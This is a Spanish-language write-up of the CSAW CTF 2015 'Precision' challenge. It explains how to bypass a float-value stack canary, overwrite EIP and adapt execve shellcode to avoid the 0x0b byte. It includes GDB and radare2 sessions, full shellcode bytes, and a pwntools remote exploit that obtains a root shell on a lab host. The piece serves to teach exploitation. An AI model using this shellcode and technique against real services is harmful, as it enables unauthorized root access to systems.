Smashing Rabbit – Buffer overflow sobreescribiendo EIP, stack canary con float value y shellcode mod 0x0b (VIII)

[Resumen]:

Tenemos que explotar un Buffer Overflow protegido con un stack canary float value.

[Tecnica]:

Smashing Stack sobreescribiendo EIP con una direccion de memoria controlada por nosotros apuntando al inicio del buffer + shellcode mod 0x0b + float value(stack canary).

[Informe]:

Recolección de información

Comenzamos analizando estáticamente el código desensamblado del binario. La función más resañable donde se encuentra la vulnerabilidad es en el main().
En esta función una vez es llamada y configurar el stack en el prólogo ejecuta una instrucción realizando floating load fld qword [0x8048690].
Seguidamente carga el float value en el stack fstp qword [esp + 0x98]. Luego analizando el desensamblado del binario realiza una serie de llamadas  a printf(), scanf() y probablemente tengamos un Buffer Overflow (BoF de ahora en adelante) después de la función scanf() porque no controlora o checkeara cuantos caracteres o «junk» le enviemos en nuestro buffer.
Finalmente en el mismo bloque antes de llegar a un salto condicional y despues de ejecutar scanf() ejecuta la misma instrucción fld qword [esp + 0x98] realizando floating load donde previamente se escribio en el Stack y seguidamente ejecuta fld qword [0x8048690] siendo el original float value del calculo realizado en la FPU. Después de estas dos instrucciones tan relevantes realiza fucompi st(1) comparando ambos valores. Por tanto, esta comprobación que se realiza cuando se ejecuta despues del prólogo y antes del salto condicional es una especie de Stack Canary.

❯ Ejemplo_                                                                         
Buffer:            AAAAAAAAAAAAAAAAAAAAAAAAAA + 0.245454 + EIP
Smashing Float:    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + MEMORY ADDRESS que queremos controlar
                                                          
FUCOMPI:           AAAAAAAA != 0.245454   Security Detected!

Bypass:            AAAAAAAAAAAAAAAAAAAAAAAAAA + 0.245454 + MEMORY ADDRESS

Cuando debugeamos el binario y nos encontramos en la dirección de memoria 0x080485a3 y queremos desensamblar la dirección que contiene el float original value aparece su contenido, sin embargo si desensamblamos la dirección de memoria del stack [esp+0x98] podemos observar que su contenido son justo los valores 0x41414141 ya que con el data o «junk» que hemos enviado sobreescribe el float value y el stack canary nos lo detectara.

Seguidamente debemos saber donde esta localizada la dirección de memoria del float en el stack, y esta en los últimos 8 Bytes de 0xffffd2b0

Explotación

Bien una vez obtenido toda la información necesaria para la explotación vamos a proceder usando GDB y colocando tres breakpoint en diferentes localizaciones del main:0x804851d0x8048553y 0x080485a3
Usaremos la salida de la ejecución del primer buffer (ver:exploit) como entrada en el binario cuando lo ejecutemos. Cuando estamos en el último breakpoint y desensamblamos $esp vemos que con lo enviamos no sobreescribimos el float value: 0x475a31a5 0x40501555 por lo tanto ya lo tenemos calculado para poder bypassear el stack canary!.
Al continuar la ejecución sobreescribimos $eip con 0x43434343, eso son las strings «CCCC» por tanto sólo necesitamos de «padding» unos 12 bytes más para luego sobreescribir $eip. Bien, una vez sabemos exactamente donde sobreescribe necesitaremos una shellcode para poder obtener una shell usando la dirección de memoria que vamos a sobreescribir para que $eip apunte al inicio de nuestro buffer aplicando «padding» y acoplando nuestra shellcode (ver:exploit). http://shell-storm.org/shellcode/files/shellcode-827.php

Ejecutamos de nuevo y veremos que por algún motivo no escribe nuestra shellcode a partir del byte \x0b ya que el último en escribir es 0x0000b0c0. Según lei este carácter en ascii esta dentro de los «whitespace» y no permite la lectura de mas «data» en la función scanf(), por tanto debido a esto nuestra shellcode falla ya que no sigue leyendo más input. Una solución a esto es hacer mover un valor mayor y restarlo y que el resultado sea el mismo \x0b.

0:  b0 4b                    mov    al,0x4b
2:  2c 40                    sub    al,0x40

Como el resultado es el mismo simplemente tenemos que coger: b04b2c40 y modificar la shellcode (ver:exploit). Una vez modificada la shellcode, solo necesitamos terminar de desarrollar nuestro exploit segun las necesidades del entorno en el que nos encontramos.

Sabemos que el buffer que nos imprime por pantalla al ejecutar el binario coincide con la dirección de memoria del inicio de nuestro buffer donde realizamos el padding de \x90 y luego nuestra shellcode, etc…Por tanto sabiendo que esa es la dirección de memoria que debemos sobreescribir $eip tenemos que tener en cuenta cuando desarrollemos el exploit y sabiendo que nos hace leak de la dirección usar en python la función raw_input() para añadirlo y el problema estará resuelto.

Obteniendo root shell

Pudimos debuggear y analizar el binario en nuestra máquina, pero ahora toca la fase en la que ganamos acceso. El binario vulnerable esta ejecutandose en el servidor víctima en el puerto 1234.

root@kali:~/Desktop# nc -nvlp 1234 -e ./precision
listening on [any] 1234 ...
connect to [192.168.32.129] from (UNKNOWN) [192.168.32.142] 41286

Ejecutamos en nuestra máquina atacante y root shell!!

naivenom@parrot:[~/pwn] $ python exploit_precision.py 
[+] Opening connection to 192.168.32.129 on port 1234: Done
Buff: 0xbfc92d98

0xbfc92d98
[*] Switching to interactive mode
Got \x90\x90\x90\x90\x90\x90\x90\x90\x90\x901�Ph//shh/bin\x89�PS\x89��K,@̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa51ZGU\x15P@AAAAAABBBBBB\x98-ɿ
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ uname -a
Linux kali 4.12.0-kali2-686 #1 SMP Debian 4.12.12-2kali1 (2017-09-13) i686 GNU/Linux
$ python -c 'import pty; pty.spawn("/bin/sh")'
# $ /bin/bash -i
/bin/bash -i
root@kali:/root/Desktop# $  

 

[Comandos]:

En esta sección haremos una explicación breve paso a paso de los comandos ejecutados. Colocamos un breakpoint justo en la instrucción fucompi y ejecutamos hasta el bp. Seguidamente entramos en visual mode. Por último vemos el desensamblado de la instrucción [esp+0x98] cuyo contenido en esa dirección de memoria es el valor del float value.

❯ r2 -d precision                                                                            
[0x0804851d]> db 0x080485a3 
[0x0804851d]> dc 
Buff: 0xffa3d9e8
AAAAAAAAAAAAAAAAAAAAAAAA
hit breakpoint at: 80485a3

[0x0804851d]> vpp 
[0x080485a3 170 /home/naivenom/pwn/precision]> ?0;f tmp;s.. @ eip                                                                         
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF                                                                     
0xffa3d9d0  8286 0408 e8d9 a3ff 0200 0000 0000 0000  ................                                                                     
0xffa3d9e0  9c1a f3f7 0100 0000 4141 4141 4141 4141  ........AAAAAAAA                                                                     
0xffa3d9f0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA                                                                     
0xffa3da00  0000 0000 0000 c300 0000 0000 0010 f3f7  ................                                                                     
 eax 0x00000001      ebx 0x00000000      ecx 0x00000001      edx 0xf7ed689c                                                               
 esi 0xf7ed5000      edi 0x00000000      esp 0xffa3d9d0      ebp 0xffa3da78                                                               
 eip 0x080485a3      eflags 1ZI         oeax 0xffffffff                                                                                   
            ;-- eip:                                                                                                                      
|           0x080485a3 b    dfe9           fucompi st(1)                                                                                  
|           0x080485a5      ddd8           fstp st(0)

[0x080485a3]> px@esp+0x98 
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffa3da68  a531 5a47 5515 5040 0050 edf7 0050 edf7  .1ZGU.P@.P...P..

Usaremos mejor GDB, y enviaremos por el input que nos ofrece el binario algunos «junk» data sin sobreescribir aún el float value en el stack. También veremos la informacion de los registros de la FPU y desensamblado de sus direcciones de memoria:

❯ gdb -q precision 
Reading symbols from precision...(no debugging symbols found)...done.
gdb-peda$ break *main
Breakpoint 1 at 0x804851d
gdb-peda$ break *0x080485a3
Breakpoint 2 at 0x80485a3
gdb-peda$ r
Starting program: /home/naivenom/pwn/precision 
Breakpoint 1, 0x0804851d in main ()
gdb-peda$ c
Continuing.
Buff: 0xffffd238
AAAAAAAAAA 
Breakpoint 2, 0x080485a3 in main ()
gdb-peda$ info float 
  R7: Valid   0x400580aaaa3ad18d2800 +64.33333000000000368      
=>R6: Valid   0x400580aaaa3ad18d2800 +64.33333000000000368  
gdb-peda$ x/wx 0x8048690
0x8048690:	0x475a31a5
gdb-peda$ x/wx $esp+0x98
0xffffd2b8:	0x475a31a5

Ahora una pequeña PoC con radare2. Desensamblamos la dirección de memoria para ver el contenido y smashing stack!! Sobreescritura del float value.

❯ r2 -d precision  
[0x0804851d]> db 0x080485a3
[0x0804851d]> dc
Buff: 0xfff92198
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
hit breakpoint at: 80485a3
[0x080485a3]> px@esp+0x98 
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xfff92218  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xfff92228  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xfff92238  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0xfff92248  4141 4141 4100 eef7 0040 f0f7 0000 0000  AAAAA....@......

También si observamos con radare2 tenemos el valor del float en el offset 0xffda4c70:a531 5a47 5515 5040

❯ r2 -d precision 
[0x0804851d]> db 0x08048543
[0x0804851d]> dc
hit breakpoint at: 8048543
[0x0804851d]> px@esp
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xffda4be0  0000 0000 8bcf f5f7 2082 0408 0000 0000  ........ .......
0xffda4bf0  9caa f7f7 0100 0000 10c4 f4f7 0100 0000  ................
0xffda4c00  0000 0000 0100 0000 40a9 f7f7 c200 0000  ........@.......
0xffda4c10  0000 0000 0000 c300 0000 0000 00a0 f7f7  ................
0xffda4c20  0000 0000 0000 0000 0000 0000 00b3 8163  ...............c
0xffda4c30  0900 0000 6e54 daff a98f d7f7 4817 f2f7  ....nT......H...
0xffda4c40  00e0 f1f7 00e0 f1f7 0000 0000 8583 0408  ................
0xffda4c50  fce3 f1f7 0000 0000 00a0 0408 3286 0408  ............2...
0xffda4c60  0100 0000 244d daff 2c4d daff a591 d7f7  ....$M..,M......
0xffda4c70  a029 f6f7 0000 0000 a531 5a47 5515 5040  .).......1ZGU.P@

Colocamos tres breakpoints y ejecutamos el binario usando como input el buffer del script (ver:exploit) y verificamos desensamblando $esp que no hemos sobreescrito el float value. Finalmente sobreescrito $eip

gdb-peda$ break *main
Breakpoint 1 at 0x804851d
gdb-peda$ break *0x08048553
Breakpoint 2 at 0x8048553
gdb-peda$ break *0x080485a3
Breakpoint 3 at 0x80485a3
gdb-peda$ r < salida
Breakpoint 1, 0x0804851d in main ()
gdb-peda$ c
Breakpoint 2, 0x08048553 in main ()
gdb-peda$ c
Continuing.
Buff: 0xffffd238
Breakpoint 3, 0x080485a3 in main ()
gdb-peda$ x/80wx $esp
0xffffd220:	0x08048682	0xffffd238	0x00000002	0x00000000
0xffffd230:	0xf7ffda9c	0x00000001	0x41414141	0x41414141
0xffffd240:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd250:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd260:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd270:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd280:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd290:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd2a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd2b0:	0x41414141	0x41414141	0x475a31a5	0x40501555
0xffffd2c0:	0x41414141	0x42424141	0x43424242	0x43434343
0xffffd2d0:	0x45444444	0x47464645	0x49484847	0x4b4a4a49
0xffffd2e0:	0x4d4c4c4b	0x0000004d	0xf7fa1000	0xf7fe574a
gdb-peda$ c
Continuing.
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�1ZGUP@AAAAAABBBBBCCCCCDDDEEFFGGHHIIJJKKLLMM

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x43434343 in ?? ()
gdb-peda$ 

Si ejecutamos ahora con nuestra shellcode modificada vemos que escribe todo el «data» que nos faltaba y al final nuestro valor coincidente con el buffer 0xffffd238

Breakpoint 2, 0x080485a3 in main ()
gdb-peda$ x/128wx $esp
0xffffd220:	0x08048682	0xffffd238	0x00000002	0x00000000
0xffffd230:	0xf7ffda9c	0x00000001	0x90909090	0x90909090
0xffffd240:	0x46b09090	0x80cdc031	0x315b07eb	0x2c4bb0c0
0xffffd250:	0x3180cd40	0xfff2e8c9	0x622fffff	0x622f6e69
0xffffd260:	0x41687361	0x41414141	0x41414141	0x41414141
0xffffd270:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd280:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd290:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd2a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd2b0:	0x41414141	0x41414141	0x475a31a5	0x40501555
0xffffd2c0:	0x41414141	0x42424141	0x42424242	0xffffd238

[Exploit Development]:

Escribimos el primer buffer con «junk» data junto el contenido del float value y mas «junk» como flag’s y situarnos bien donde estamos en la memoria.

import sys

sys.stdout.write("A"*128+"\xa5\x31\x5a\x47\x55\x15\x50\x40"+"AAAAAABBBBBCCCCCDDDEEFFGGHHIIJJKKLLMM")

Modificación de la shellcode evitando el carácter \x0b

import sys

sys.stdout.write("\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80"+"A"*93+"\xa5\x31\x5a\x47\x55\x15\x50\x40"+"AAAAAABBBBBB"+"\x38\xd2\xff\xff")

Exploit remoto final.

from pwn import *
import struct

p = remote('192.168.32.129', 1234)
print p.recvline()
a = lambda a: struct.pack("I",a)
eip = int(raw_input(),16)

exploit = ""
exploit += "\x90"*10
exploit += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x4b\x2c\x40\xcd\x80"
exploit += "A"*93
exploit += "\xa5\x31\x5a\x47\x55\x15\x50\x40"
exploit += "AAAAAABBBBBB"
exploit += a(eip)
p.sendline(exploit)

p.interactive()

[URL Reto]:

–Precision100 CSAW CTF 2015–

Un saludo, nos vemos en la siguiente entrada!